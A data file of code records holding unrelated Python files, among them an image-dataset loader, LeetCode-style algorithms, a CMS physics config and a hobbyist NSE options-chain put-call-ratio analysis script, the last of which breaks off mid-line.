+{"seq_id":"125729370","text":"#\nimport numpy as np\nfrom numpy.random import rand\n\nimport scipy as sp\nfrom scipy.io import loadmat\nfrom sklearn import metrics\nimport pandas as pd\npd.options.display.max_colwidth = 600\n\nimport skimage\nfrom skimage import transform\n\n# %matplotlib inline\nimport matplotlib.pyplot as plt\nparams = {'legend.fontsize': 'x-large',\n 'figure.figsize': (15, 5),\n 'axes.labelsize': 'x-large',\n 'axes.titlesize':'x-large',\n 'xtick.labelsize':'x-large',\n 'ytick.labelsize':'x-large'}\nplt.rcParams.update(params)\n\n#\nimport warnings\nwarnings.filterwarnings('ignore')\n\n\n# This function loads raw data from the dataSet directory or scatFeatures from matfile\ndef importData(feature_type):\n\n\n # Paramètres\n DATASET_PATH = r'./dataset/imgs/'\n LABEL_PATH = r'./dataset/labels/labels.csv'\n SCATFEAT_PATH = r'./dataset/imdb_200x200_SmallSonarTex_db_6classes_scatValOnly.mat'\n\n # Charger le fichier CSV\n dataset_df = pd.read_csv(LABEL_PATH)\n\n # We add another column to the labels dataset to identify image path\n dataset_df['image_path'] = dataset_df.apply(lambda row: (DATASET_PATH + row[\"id\"]), axis=1)\n\n if (feature_type == 'raw'):\n feature_values = np.array([plt.imread(img).reshape(40000,) for img in dataset_df['image_path'].values.tolist()])\n\n elif (feature_type == 'rawKeras'):\n print('inclure dans le starterCode')\n from keras.preprocessing.image import img_to_array, load_img\n target_size = 192;\n feature_values = np.array([img_to_array(\n load_img(img, # color_mode = \"grayscale\",\n target_size=(target_size, target_size))\n ) for img\n in dataset_df['image_path'].values.tolist()\n ]).astype('float32')\n\n elif (feature_type == 'scat'):\n # Si on remplace par les descripteurs du scattering operator\n a = loadmat(SCATFEAT_PATH)\n feature_values = a['featVal']\n\n print(feature_values.shape)\n\n # Récupération des labels\n label_names = dataset_df['seafloor']\n\n return feature_values, label_names, dataset_df\n\n\n\n\n# This function prepares a random batch from the dataset\ndef load_batch(dataset_df, batch_size = 25):\n batch_df = dataset_df.loc[np.random.permutation(np.arange(0,\n len(dataset_df)))[:batch_size],:]\n return batch_df\n\n\n# This function plots sample images in specified size and in defined grid\ndef plot_batch(images_df, grid_width, grid_height, im_scale_x, im_scale_y):\n\n DATASET_PATH = r'./dataset/imgs/'\n LABEL_PATH = r'./dataset/labels/labels.csv'\n\n f, ax = plt.subplots(grid_width, grid_height)\n f.set_size_inches(6, 6)\n\n img_idx = 0\n for i in range(0, grid_width):\n for j in range(0, grid_height):\n ax[i][j].axis('off')\n ax[i][j].set_title(images_df.iloc[img_idx]['seafloor'][:10])\n\n # resize image\n # ttt = sp.misc.imresize(ttt,(im_scale_x,im_scale_y)) # scipy version deprecated\n\n ttt = plt.imread(DATASET_PATH + images_df.iloc[img_idx]['id'])\n ttt = skimage.transform.resize(ttt,(im_scale_x,im_scale_y)) # skimage version\n\n\n # ttt = Image.open(DATASET_PATH + images_df.iloc[img_idx]['id'])\n # ttt = ttt.resize((im_scale_x,im_scale_y), Image.ANTIALIAS) # PIL version\n\n\n ax[i][j].imshow(ttt)\n\n img_idx += 1\n\n plt.subplots_adjust(left=0, bottom=0, right=1, top=1, wspace=0, hspace=0.1)","sub_path":"Exercice15/pythonTools.py","file_name":"pythonTools.py","file_ext":"py","file_size_in_byte":3495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"533561951","text":"import collections\n\nclass KeyedPriorityQueue(object):\n def __init__(self, heap):\n self.heap = heap\n self.heap_ref = {x[2]:i for i, x in enumerate(heap)}\n \n def getHeapSize(self):\n return len(self.heap)\n \n def comparator(self, i, j):\n n = len(self.heap)\n \n cond1 = i < n and j < n and self.heap[i][0] > self.heap[j][0]\n cond2 = i < n and j < n and self.heap[i][0] == self.heap[j][0] and self.heap[i][1] < self.heap[j][1]\n \n return cond1 or cond2\n \n def swap(self, i, j):\n x, y = self.heap[i], self.heap[j]\n\n temp1, temp2 = x, self.heap_ref[x[2]]\n self.heap[i], self.heap_ref[x[2]] = y, self.heap_ref[y[2]]\n self.heap[j], self.heap_ref[y[2]] = temp1, temp2\n \n return j\n \n def adjust_parent(self, index):\n while index > 0 and self.comparator(index/2, index):\n index = self.swap(index, index/2)\n \n def adjust_child(self, index):\n n = len(self.heap)\n \n while True:\n a = 2*index+1 < n and self.comparator(index, 2*index+1)\n b = 2*index+2 < n and self.comparator(index, 2*index+2)\n \n if a and b:\n if self.comparator(2*index+1, 2*index+2):\n index = self.swap(index, 2*index+2)\n else:\n index = self.swap(index, 2*index+1)\n elif a:\n index = self.swap(index, 2*index+1)\n elif b:\n index = self.swap(index, 2*index+2)\n else:\n break\n \n def pop(self, index):\n out = self.heap[index]\n \n if index < len(self.heap)-1:\n self.heap[index] = self.heap[-1]\n x = self.heap[index]\n self.heap_ref[x[2]] = index\n \n self.heap.pop()\n self.heap_ref.pop(out[2])\n \n if index < len(self.heap):\n if index > 0 and self.comparator(index/2, index):\n self.adjust_parent(index)\n else:\n self.adjust_child(index)\n \n return out\n \n def getValue(self, key):\n if key in self.heap_ref:\n return self.heap[self.heap_ref[key]]\n \n return None\n \n def setValue(self, key, value):\n if key in self.heap_ref:\n self.pop(self.heap_ref[key])\n self.addValue(value)\n \n def addValue(self, value):\n self.heap.append(value)\n self.heap_ref[value[2]] = len(self.heap)-1\n\n self.adjust_parent(len(self.heap)-1)\n\nclass Solution(object):\n def minRefuelStops(self, target, startFuel, stations):\n stations = [(0, startFuel)] + stations\n n = len(stations)\n \n keyedPriorityQueue = KeyedPriorityQueue([(-1, startFuel, 0)])\n \n while keyedPriorityQueue.getHeapSize() > 0:\n step, max_dist, curr_station_id = keyedPriorityQueue.pop(0)\n \n if max_dist >= target:\n return step+1\n\n for j in range(curr_station_id+1, n):\n station_dist, station_fuel = stations[j]\n\n if max_dist >= station_dist:\n a, q = max_dist+station_fuel, keyedPriorityQueue.getValue(j)\n if q is not None:\n if a > q[1] and q[1] < target:\n keyedPriorityQueue.setValue(j, (step+1, a, j))\n else:\n break\n else:\n keyedPriorityQueue.addValue((step+1, a, j))\n else:\n break\n \n return -1\n","sub_path":"LeetCode/MinRefuelStopsPriorityQueue.py","file_name":"MinRefuelStopsPriorityQueue.py","file_ext":"py","file_size_in_byte":3711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"525053638","text":"'''\n functions ex\n'''\n\ndef iseven(i):\n result = False\n if ((i % 2) == 0):\n result = True \n return result\n\ndef main():\n number = int(input('Enter a number: '))\n if iseven(number):\n print('number is even')\n else:\n print('number is odd')\n\nmain()\n","sub_path":"Electrical-Engineering-and-Computer-Science/6.0001/notes/lecture-4/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"56767960","text":"# Default imports\nfrom sklearn.feature_selection import SelectFromModel\nfrom sklearn.ensemble import RandomForestClassifier\nimport pandas as pd\nimport numpy as np\n\ndata = pd.read_csv('data/house_prices_multivariate.csv')\n\ndef select_from_model(data):\n X = data.iloc[:,:-1]\n y = data.iloc[:,-1]\n\n m = SelectFromModel(estimator=RandomForestClassifier())\n m.fit_transform(X,y)\n a = X.columns\n b = a[m.get_support()]\n c = b.tolist()\n return c\n","sub_path":"q04_select_from_model/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"411424941","text":"from datetime import datetime\n\n\ndef decor_logger_2(file_path):\n def decor_logger(function):\n def save_info(*args, **kwargs):\n result, time_info = function(*args, **kwargs)\n result = 'Result is ' + str(result)\n function_name = 'Function name is ' + function.__name__\n arguments_typle = f'Sequential function arguments - {args}'\n arguments_dict = f'Named function arguments and their meanings - {kwargs}'\n save_data = (time_info + '\\n' + function_name + '\\n'\n + arguments_typle + '\\n' + arguments_dict + '\\n')\n with open(file_path, 'w', encoding='utf-8') as save_file:\n save_file.write(save_data)\n save_file.write(result)\n return save_data, result\n return save_info\n return decor_logger\n\n\n@decor_logger_2('text2.txt')\ndef pow_function(x, y, text):\n time_info = 'Time of function call - ' + str(datetime.now())\n print(text)\n return x ** y, time_info\n\n\nif __name__ == '__main__':\n pow_function(15, y=27, text='This function power values!')","sub_path":"lection4-2.py","file_name":"lection4-2.py","file_ext":"py","file_size_in_byte":1109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"576828623","text":"# -*- coding:utf-8 -*-\n\nclass Solution:\n def VerifySquenceOfBST(self, sequence):\n # write code here\n # time_stamp 2019-03-17\n if not sequence:\n return False\n # 后序遍历中,根为root\n root = sequence[-1]\n # 判断左树情况\n for index,data in enumerate(sequence):\n if data > root:\n break\n # 此时的index为右树的第一个节点,判断右树情况\n for data in sequence[index:]:\n if data < root:\n return False\n #递归判断左子树\n left = True\n if index > 0 :\n left = self.VerifySquenceOfBST(sequence[:index])\n #递归判断右子树\n right = True\n if index < len(sequence)-1:\n right = self.VerifySquenceOfBST(sequence[index:-1])\n return left and right\n\n\nif __name__ == '__main__':\n array = [5, 7, 6, 9, 11, 10, 8]\n array2 = [4, 6, 7, 5]\n array3 = [1, 2, 3, 4, 5]\n S = Solution()\n print(S.VerifySquenceOfBST(array))\n print(S.VerifySquenceOfBST(array2))\n print(S.VerifySquenceOfBST(array3))\n","sub_path":"二叉搜索树的后序遍历序列.py","file_name":"二叉搜索树的后序遍历序列.py","file_ext":"py","file_size_in_byte":1128,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"171268605","text":"import FWCore.ParameterSet.Config as cms\n\nprocess = cms.Process(\"PAT\")\n\n## MessageLogger\nprocess.load(\"FWCore.MessageLogger.MessageLogger_cfi\")\nprocess.MessageLogger.cerr.ERROR = cms.untracked.PSet(\n optionalPSet = cms.untracked.bool(True),\n limit = cms.untracked.int32(4)\n )\n\nprocess.load(\"SimGeneral.HepPDTESSource.pythiapdt_cfi\")\n## Options and Output Report\nprocess.options = cms.untracked.PSet( wantSummary = cms.untracked.bool(True) )\n# reduce verbosity\nprocess.MessageLogger.cerr.FwkReport.reportEvery = cms.untracked.int32(1000)\n\n## Source\nprocess.source = cms.Source(\"PoolSource\",\n fileNames = cms.untracked.vstring(\n ## \"rfio:/castor/cern.ch/user/m/musella/Higgs2011/test/GluGluToHToGG_M-95_7TeV-powheg-pythia6/reco_1_1_ljP.root\"\n ## \"rfio:/castor/cern.ch/user/m/musella/Higgs2011/test/EA508933-BBF2-DF11-8FC3-003048673F9E.root\"\n \"rfio:/castor/cern.ch/user/m/musella/Higgs2011/test/pileup/reco_1_1_k28.root\"\n ## \"root://pclip11//localdata/adavidzh/EA508933-BBF2-DF11-8FC3-003048673F9E.root\"\n )\n )\n\n## Maximal Number of Events\nprocess.maxEvents = cms.untracked.PSet( input = cms.untracked.int32(-1) )\n\n##process.goodPhotons = cms.EDAnalyzer(\"PhotonSelector\",\nprocess.goodPhotons = cms.EDFilter(\"PhotonSelector\",\n\t\t src = cms.InputTag(\"photons\"),\n cut = cms.string(\"pt > 15 & hadronicOverEm < 0.05\"),\n )\n\n##process.filterGoodPhotons = cms.EDAnalyzer(\"PhotonCountFilter\",\nprocess.filterGoodPhotons = cms.EDFilter(\"PhotonCountFilter\",\n src = cms.InputTag(\"goodPhotons\"),\n minNumber = cms.uint32(1),\n maxNumber = cms.uint32(999999),\n)\n\n\nprocess.noscraping = cms.EDFilter(\"FilterOutScraping\",\n applyfilter = cms.untracked.bool(True),\n debugOn = cms.untracked.bool(False),\n numtrack = cms.untracked.uint32(10),\n thresh = cms.untracked.double(0.25)\n )\n\n\n## Geometry and Detector Conditions (needed for a few patTuple production steps)\nprocess.load(\"Configuration.StandardSequences.Geometry_cff\")\nprocess.load(\"Configuration.StandardSequences.FrontierConditions_GlobalTag_cff\")\nprocess.GlobalTag.globaltag = cms.string('START39_V8::All')\n## process.GlobalTag.globaltag = cms.string('START311_V2::All')\nprocess.load(\"Configuration.StandardSequences.MagneticField_cff\")\n\n#process.load(\"Configuration.StandardSequences.Reconstruction_cff\")\n\n\n## Standard PAT Configuration File\nprocess.load(\"PhysicsTools.PatAlgos.patSequences_cff\")\n\nfrom PhysicsTools.PatAlgos.tools.coreTools import *\nfrom PhysicsTools.PatAlgos.tools.metTools import *\n# turn off MC matching for data\nremoveMCMatching(process, ['All'], outputInProcess = False)\n# use tcMET\n#addTcMET(process, 'TC')\n# use pfMET\naddPfMET(process, 'PF')\n\n# input pat analyzer sequence\nprocess.load(\"QCDPhotonAnalysis.DataAnalyzers.MultiPhotonAnalyzer_cfi\")\n\nprocess.multiPhotonAnalyzer.FillMCNTuple = True\nprocess.multiPhotonAnalyzer.verbose = False\nprocess.multiPhotonAnalyzer.DoL1Objects = True\nprocess.multiPhotonAnalyzer.GammaPtMin = 15.0\nprocess.multiPhotonAnalyzer.GammaEtaMax = 3.0\nprocess.multiPhotonAnalyzer.GammaHadEmMax = 0.05\nprocess.multiPhotonAnalyzer.JetPtMin = 10.0\nprocess.multiPhotonAnalyzer.PhotonProducer = \"selectedPatPhotons\"\nprocess.multiPhotonAnalyzer.JetProducer = \"cleanPatJets\"\nprocess.multiPhotonAnalyzer.METProducer = \"patMETsPF\"\nprocess.multiPhotonAnalyzer.OutputFile = 'MultiPhotonAnalyzer.root'\n\n##################### Pixel Hits ## to make the silicon pixel rechits\nprocess.load(\"RecoLocalTracker.SiPixelRecHits.SiPixelRecHits_cfi\")\nprocess.load(\"RecoLocalTracker.SiPixelRecHits.PixelCPEESProducers_cff\")\n### ##################### Random Cone Package \n### process.load(\"RandomConeAna.RandomPhotonProducer.randomConeSequence_cff\")\n### process.compleSuperCluster.etCut = process.multiPhotonAnalyzer.GammaPtMin\n### process.compleSuperCluster.etaCut = process.multiPhotonAnalyzer.GammaEtaMax\n### process.compleSuperCluster.hoeCut = cms.untracked.double(0.5)\n### process.complePhotonCore.randomSCProducer = cms.InputTag(\"compleSuperCluster\")\n### ##process.complePhoton.primaryVertexProducer = cms.string('offlinePrimaryVerticesWithBS')\n### process.complePhoton.primaryVertexProducer = cms.InputTag(\"offlinePrimaryVerticesWithBS\")\n### process.complePhoton.isolationSumsCalculatorSet.trackProducer = process.multiPhotonAnalyzer.TrackProducer\n### process.multiPhotonAnalyzer.basicClusterBarrel = cms.InputTag(\"hybridSuperClusters\",\"hybridBarrelBasicClusters\")\n### process.multiPhotonAnalyzer.basicClusterEndcap = cms.InputTag(\"multi5x5BasicClusters\",\"multi5x5EndcapBasicClusters\")\n### process.multiPhotonAnalyzer.doStoreCompCone = cms.untracked.bool(True)\nprocess.multiPhotonAnalyzer.doStoreCompCone = cms.untracked.bool(False)\nprocess.multiPhotonAnalyzer.doStoreVtxTracks = True\n\n# let it run\nprocess.p = cms.Path(\n process.noscraping*\n ## ## process.conversionSequence*\n ## process.photonSequence*\n ## process.photonIDSequence*\n ## process.goodPhotons*\n ## process.filterGoodPhotons*\n process.patDefaultSequence *\n ## process.siPixelRecHits *\n ## process.complePhotonSequence *\n process.multiPhotonAnalyzer \n )\n\n\n","sub_path":"HiggsToGG/test/MPA_VertexStudies_cfg.py","file_name":"MPA_VertexStudies_cfg.py","file_ext":"py","file_size_in_byte":5707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"461395260","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Jul 28 10:34:18 2020\r\n\r\n@author: Sangram Phadke\r\n\r\nCall Option Intrinsic Value=USC−CS\r\nwhere:\r\n \r\nUSC=Underlying Stock’s Current Price\r\n\r\nCS=Call Strike Price\r\n\t \r\n\r\nPut Option Intrinsic Value=PS−USC\r\nwhere:\r\nPS=Put Strike Price\r\nTime Value=Option Price−Intrinsic Value\r\n\r\n\r\n\r\n#PCR put call ratio 1.68 to 1.8\r\n\r\n#highest est Open intrest strike price in put and call when NIFTY 50 reach at the strike price sell...\r\n\r\n\r\n\r\n# PUT call Ratio PCR\r\n# avrage is 0.7\r\n# A rising put-call ratio, or a ratio greater than .7 or exceeding 1, means that equity traders are buying more puts than calls. It suggests that bearish sentiment is building in the market. Investors are either speculating that the market will move lower or are hedging their portfolios in case there is a sell-off.\r\n# A falling put-call ratio, or below .7 and approaching .5, is considered a bullish indicator. It means more calls are being bought versus puts.\r\n\r\n#Over purchased options ce\r\n\r\n#if PCR < 0.7\r\n \r\n#if above condition meet price will fall after result\r\n\r\n\r\n#if PCR > 0.7\r\n\r\n#if above condition meet price will go up after result\r\n\r\n\r\n\r\n\"\"\"\r\n\r\n# Importing the libraries\r\nimport numpy as np\r\nimport pandas as pd\r\nimport math\r\nfrom datetime import datetime\r\nfrom nsetools import Nse\r\n \r\n# Importing the NIFTY dataset from NSE live site / portel \r\n\r\nnse = Nse() # NSE object creation\r\n\r\n\r\nprint('############################################################################')#,file=open(\"Option_data.txt\", \"a\"))\r\nprint('')#,file=open(\"Option_data.txt\", \"a\"))\r\nStarttime = datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\") #program data pull start time\r\nPst = datetime.now().strftime(\"%H:%M\")\r\nDay = datetime.now().strftime(\"%A\")\r\nDaydate = datetime.now().strftime(\"%d\")\r\nprint('AI for Option data Start Time',Starttime)#,file=open(\"Option_data.txt\", \"a\"))\r\nprint('')#,file=open(\"Option_data.txt\", \"a\"))\r\n# Capital letter words / variable which are not appre in data variable box to reduce the display data frames and clean program view\r\n \r\nNf_n50 = nse.get_index_quote(\"nifty 50\") \r\nprint('NIFTY 50 index current value is {} and percent change is {} '.format(Nf_n50['lastPrice'],Nf_n50['pChange'])) \r\n#print('NIFTY 50 index current value is {} and percent change is {} '.format(Nf_n50['lastPrice'],Nf_n50['pChange']))#,file=open(\"Option_data.txt\", \"a\"))\r\n\r\nprint('')\r\nN50 = Nf_n50['lastPrice']\r\nN50p = int(50 * round(float(N50)/50))\r\nn50f = format(N50p,'.2f')\r\n\r\nBf_bank = nse.get_index_quote(\"nifty bank\") \r\nprint('NIFTY BANK index current value is {} and percent change is {} '.format(Bf_bank['lastPrice'],Bf_bank['pChange'])) \r\nprint('')\r\n\r\n\r\n# Test data \r\n#BN = 2123\r\n\r\nBN = Bf_bank['lastPrice']\r\nBNp = int(100 * round(float(BN)/100))\r\nbnf = format(BNp,'.2f')\r\n\r\n\r\n# Importing the Option dataset from Files stored in same folder\r\n## Run the specific files on 9:45 12 and 1:30 each day and save on exit \r\n\r\nCOLUMN_NAMES=['CallOI','CallLTP','CallNetChange','Strike Price','PutNetChange','PutLTP','PutOI']\r\n\r\n\r\n# Option data\r\n\r\n\r\n####################################### Bank Nifty ##########################################\r\n\r\nprint('For BankNifty Option Data')#,file=open(\"Option_data.txt\", \"a\"))\r\nprint('')#,file=open(\"Option_data.txt\", \"a\"))\r\n\r\n\r\n## Data from XLSM File\r\n#Data Slicing for BankNifty\r\n\r\nDr_banknifty = pd.read_excel ('BankNifty-Option-Chain-Automated-Data-Extractor.xlsm' , sheet_name='Option Chain')\r\nDr_banknifty1 = Dr_banknifty.iloc[6:,[1,5,6,11,16,17,21]]\r\nDr_banknifty1.columns = COLUMN_NAMES\r\nDr_banknifty2 = Dr_banknifty1.dropna()\r\ndf_banknifty = Dr_banknifty2.replace(to_replace = ['- ','-'], value =0)\r\n\r\n# Collect Higest and 2nd highest est Open intrest from call side\r\n\r\n\"\"\"\r\nExact value functions\r\n# BNCH1OI = df_banknifty['CallOI'].max() # Returns a max value\r\n# BNCH1OI_loc = df_banknifty['CallOI'].idxmax() # Returns a index location max value\r\n\"\"\"\r\n# Call values\r\nBNCH1OI,BNCH2OI = df_banknifty['CallOI'].nlargest(2,keep='last') # Returns a max and 2nd max values\r\n\r\n# Convert to Words for print only\r\nBNCH1OI_Wd = format(BNCH1OI/100000,'.2f')\r\nBNCH2OI_Wd = format(BNCH2OI/100000,'.2f')\r\n\r\n# Returns location of a max and 2nd max values\r\nBNCH1OI_loc,BNCH2OI_loc = df_banknifty['CallOI'].nlargest(2,keep='last').index \r\nBNCH1OI_loc = BNCH1OI_loc - 6 # -6 is the adjustment to the index\r\nBNCH2OI_loc = BNCH2OI_loc - 6\r\n\r\n\r\n# Collect Higest and 2nd highest est Open intrest from Put side\r\n# Put values\r\n\r\nBNPH1OI,BNPH2OI = df_banknifty['PutOI'].nlargest(2,keep='last') # Returns a max and 2nd max values\r\n\r\n# Convert to Words for print only\r\nBNPH1OI_Wd = format(BNPH1OI/100000,'.2f')\r\nBNPH2OI_Wd = format(BNPH2OI/100000,'.2f')\r\n\r\n# Returns location of a max and 2nd max values\r\nBNPH1OI_loc,BNPH2OI_loc = df_banknifty['PutOI'].nlargest(2,keep='last').index \r\nBNPH1OI_loc = BNPH1OI_loc - 6\r\nBNPH2OI_loc = BNPH2OI_loc - 6\r\n\r\n## Calculate / data of Stick price taken from Higest and 2nd highest Open intrest from call and Put side\r\n\r\n# Call\r\nBNCH1OI_SP = df_banknifty.iloc[BNCH1OI_loc]['Strike Price'] # Returns a Strick price \r\nBNCH2OI_SP = df_banknifty.iloc[BNCH2OI_loc]['Strike Price'] # Returns a Strick price \r\n\r\n# Put\r\nBNPH1OI_SP = df_banknifty.iloc[BNPH1OI_loc]['Strike Price'] # Returns a Strick price \r\nBNPH2OI_SP = df_banknifty.iloc[BNPH2OI_loc]['Strike Price'] # Returns a Strick price \r\n\r\n\r\n## PCR Analysis\r\nprint('BankNifty PCR Data Analysis')#,file=open(\"Option_data.txt\", \"a\"))\r\nprint('')#,file=open(\"Option_data.txt\", \"a\"))\r\n# Calculate the highest Put Call ratio (PCR)\r\nBNHPCR = BNPH1OI/BNCH1OI\r\nbnhpcr = format(BNHPCR,'.2f')\r\nprint('1. BankNifty Higest Open Intrest PCR ratio ',bnhpcr)#,file=open(\"Option_data.txt\", \"a\"))\r\n\r\n## Calculate the total Put Call ratio\r\nBNCallOI_sum = df_banknifty['CallOI'].sum() # Returns a sum of Call Open intrest values\r\nBNPutOI_sum = df_banknifty['PutOI'].sum() # Returns a sum of Put Open intrest values\r\nBNTPCR = BNPutOI_sum / BNCallOI_sum\r\nbntpcr = format(BNTPCR,'.2f')\r\nprint('2. BankNifty Total Open Intrest PCR ratio ',bntpcr)#,file=open(\"Option_data.txt\", \"a\"))\r\nprint('')#,file=open(\"Option_data.txt\", \"a\"))\r\n\r\n# Append the Highest PCR value in CSV file and write it to PCR data frame\r\nprint(bnhpcr)#,file=open(\"BN_Option_data.csv\", \"a\")) #Simple append function using print\r\nDr_BNPCR_list = pd.read_csv('BN_Option_data.csv')\r\ndf_BNPCR_list = pd.DataFrame(data=Dr_BNPCR_list)\r\n# find the persent change in BN HPCR\r\nBNPCR_PC = (100 * ((df_BNPCR_list.iloc[-1] - df_BNPCR_list.iloc[-2]) / df_BNPCR_list.iloc[-2])) \r\n\r\nif float(BNPCR_PC) >= 0.0:\r\n print('A rising put-call ratio, or a ratio greater than .7 or exceeding 1, means that equity traders are buying more puts than calls. It suggests that bearish sentiment is building in the market. Investors are either speculating that the market will move lower or are hedging their portfolios in case there is a sell-off.')#,file=open(\"Option_data.txt\", \"a\"))\r\n\r\nprint('')#,file=open(\"Option_data.txt\", \"a\"))\r\n\r\nif float(BNPCR_PC) < 0.0:\r\n print('A falling put-call ratio, or below .7 and approaching .5, is considered a bullish indicator. It means more calls are being bought versus puts.')#,file=open(\"Option_data.txt\", \"a\"))\r\n\r\nprint('')#,file=open(\"Option_data.txt\", \"a\"))\r\n\r\nif float(BNTPCR) < 0.5:\r\n print(\"BN: Over purchased Call Options\")#,file=open(\"Option_data.txt\", \"a\"))\r\nif float(BNTPCR) > 1.5:\r\n print(\"BN: Over purchased Put Options\")#,file=open(\"Option_data.txt\", \"a\"))\r\n\r\nprint('')#,file=open(\"Option_data.txt\", \"a\"))\r\nprint('')\r\n\r\n## Open Intrest Analysis\r\n\r\n# Find the Call_OI & Put_OI for current BN Strick price \r\nBNCSPLOC = 0\r\nfor BNCSPLOC in range(len(df_banknifty)):\r\n if (df_banknifty['Strike Price'][(BNCSPLOC+6)]) == BNp:\r\n #print(BNPSPLOC+6) # +6 is index adjutment\r\n BNCSPCOI = df_banknifty.iloc[BNCSPLOC]['CallOI']\r\n BNCSPPOI = df_banknifty.iloc[BNCSPLOC]['PutOI']\r\n# Convert to Words for print only\r\nBNCSPCOI_Wd = format(BNCSPCOI/100000,'.2f')\r\nBNCSPPOI_Wd = format(BNCSPPOI/100000,'.2f')\r\n\r\n \r\n# Main Logic for Bank Nifty for print the OI and SP\r\n\r\nprint('Highest Open Intrest with Sticke Price')#,file=open(\"Option_data.txt\", \"a\"))\r\nprint('')#,file=open(\"Option_data.txt\", \"a\"))\r\nprint('BankNifty have {} Lakh Call_OI & {} Lakh Put_OI for Current SP {}'.format(BNCSPCOI_Wd,BNCSPPOI_Wd,bnf))#,file=open(\"Option_data.txt\", \"a\"))\r\nprint('Max highest {} Lakh Call_OI at SP {} R2 '.format(BNCH1OI_Wd,BNCH1OI_SP))#,file=open(\"Option_data.txt\", \"a\"))\r\nprint('2nd highest {} Lakh Call_OI at SP {} R1 '.format(BNCH2OI_Wd,BNCH2OI_SP))#,file=open(\"Option_data.txt\", \"a\"))\r\nprint('Max highest {} Lakh Put_OI at SP {} S2 '.format(BNPH1OI_Wd,BNPH1OI_SP))#,file=open(\"Option_data.txt\", \"a\"))\r\nprint('2nd highest {} Lakh Put_OI at SP {} S1 '.format(BNPH2OI_Wd,BNPH2OI_SP))#,file=open(\"Option_data.txt\", \"a\"))\r\nprint('')#,file=open(\"Option_data.txt\", \"a\")) \r\n\r\n\r\n## Price prediction \r\n\r\n# Main logic for direction of SP to neareset SP (Direction prediction)\r\nTCOI_list = [BNCH1OI,BNCH2OI]\r\nTPOI_list = [BNPH1OI,BNPH2OI]\r\nR_SP = []\r\n\r\n\r\ndef closest(lst, K):\r\n return lst[min(range(len(lst)), key = lambda i: abs(lst[i]-K))] \r\n \r\n \r\n# Driver code \r\n# for Call_OI\r\nif (closest(TCOI_list, BNCSPCOI)) == BNCH1OI: #compare the \r\n R_SP.append(BNCH1OI_SP)\r\nelif (closest(TCOI_list, BNCSPCOI)) == BNCH2OI:\r\n R_SP.append(BNCH2OI_SP)\r\n\r\n# for Put_OI \r\nif (closest(TPOI_list, BNCSPPOI)) == BNPH1OI:\r\n R_SP.append(BNPH1OI_SP)\r\nelif (closest(TPOI_list, BNCSPPOI)) == BNPH2OI:\r\n R_SP.append(BNPH2OI_SP)\r\n\r\n# for strick price \r\nprint('The price is moving in direction of ',(closest(R_SP, BNp)))#,file=open(\"Option_data.txt\", \"a\")) \r\n\r\nprint('')#,file=open(\"Option_data.txt\", \"a\"))\r\n\r\n#Ideal Buy Range for CALL or Put\r\nprint('Ideal Buy Range for Call & Put')#,file=open(\"Option_data.txt\", \"a\"))\r\nprint('')#,file=open(\"Option_data.txt\", \"a\"))\r\nBNCE= ((BNCH1OI_SP + BNCH2OI_SP)/2) # Avrage of highest Call_OI\r\nBNPE= ((BNPH1OI_SP + BNPH2OI_SP)/2) # Avrage of highest Put_OI\r\nprint('1. Ideal Buy BankNifty {} CE OTM'.format(BNCE))#,file=open(\"Option_data.txt\", \"a\"))\r\nprint('2. Ideal Buy BankNifty {} PE OTM'.format(BNPE))#,file=open(\"Option_data.txt\", \"a\"))\r\nprint('')#,file=open(\"Option_data.txt\", \"a\"))\r\n\r\nprint('BankNifty Run ok') # for run issue finding\r\n\r\n\r\n## Average trading price (Self dev formula)\r\n## Need Back test\r\n# avrage of 2 High OI Strick price LTP & Current Strick price LTP and ~15% range of tollarance \r\n\r\nprint('For BankNifty Total Avrage Option price')#,file=open(\"Option_data.txt\", \"a\"))\r\nprint('')#,file=open(\"Option_data.txt\", \"a\"))\r\n\r\n#Call \r\nBNCLTPH1 = df_banknifty.iloc[BNCH1OI_loc]['CallLTP']\r\nBNCLTPH2 = df_banknifty.iloc[BNCH2OI_loc]['CallLTP']\r\n\r\nBNCSPLOC = 0\r\nfor BNCSPLOC in range(len(df_banknifty)):\r\n if (df_banknifty['Strike Price'][(BNCSPLOC+6)]) == BNp:\r\n #print(BNCSPLOC+6) # +6 is index adjutment\r\n BNCLTPSP = df_banknifty.iloc[BNCSPLOC]['CallLTP']\r\n \r\n\r\nAvgBNCLTPH = ((BNCLTPH2+BNCLTPH2+BNCLTPSP )/3)\r\n# AvgBNCLTPH_UR = AvgBNCLTPH*1.15\r\n# AvgBNCLTPH_LR = (AvgBNCLTPH - (AvgBNCLTPH*0.15))\r\n\r\nAvgBNCLTPH = format(((BNCLTPH2+BNCLTPH2+BNCLTPSP )/3),'.2f')\r\n\r\nprint('1. The Total avrage Call Option price is {} '.format(AvgBNCLTPH))#,file=open(\"Option_data.txt\", \"a\"))\r\n\r\n#Put\r\nBNPLTPH1 = df_banknifty.iloc[BNPH1OI_loc]['PutLTP']\r\nBNPLTPH2 = df_banknifty.iloc[BNPH2OI_loc]['PutLTP']\r\n\r\n\r\nBNPSPLOC = 0\r\nfor BNPSPLOC in range(len(df_banknifty)):\r\n if (df_banknifty['Strike Price'][(BNPSPLOC+6)]) == BNp:\r\n #print(BNPSPLOC+6) # +6 is index adjutment\r\n BNPLTPSP = df_banknifty.iloc[BNPSPLOC]['PutLTP']\r\n \r\nAvgBNPLTPH = (BNPLTPH2+BNPLTPH2+BNPLTPSP )/3\r\n# AvgBNPLTPH_UR = (AvgBNPLTPH*1.15)\r\n# AvgBNPLTPH_LR = (AvgBNPLTPH - (AvgBNPLTPH*0.15))\r\n\r\nAvgBNPLTPH = 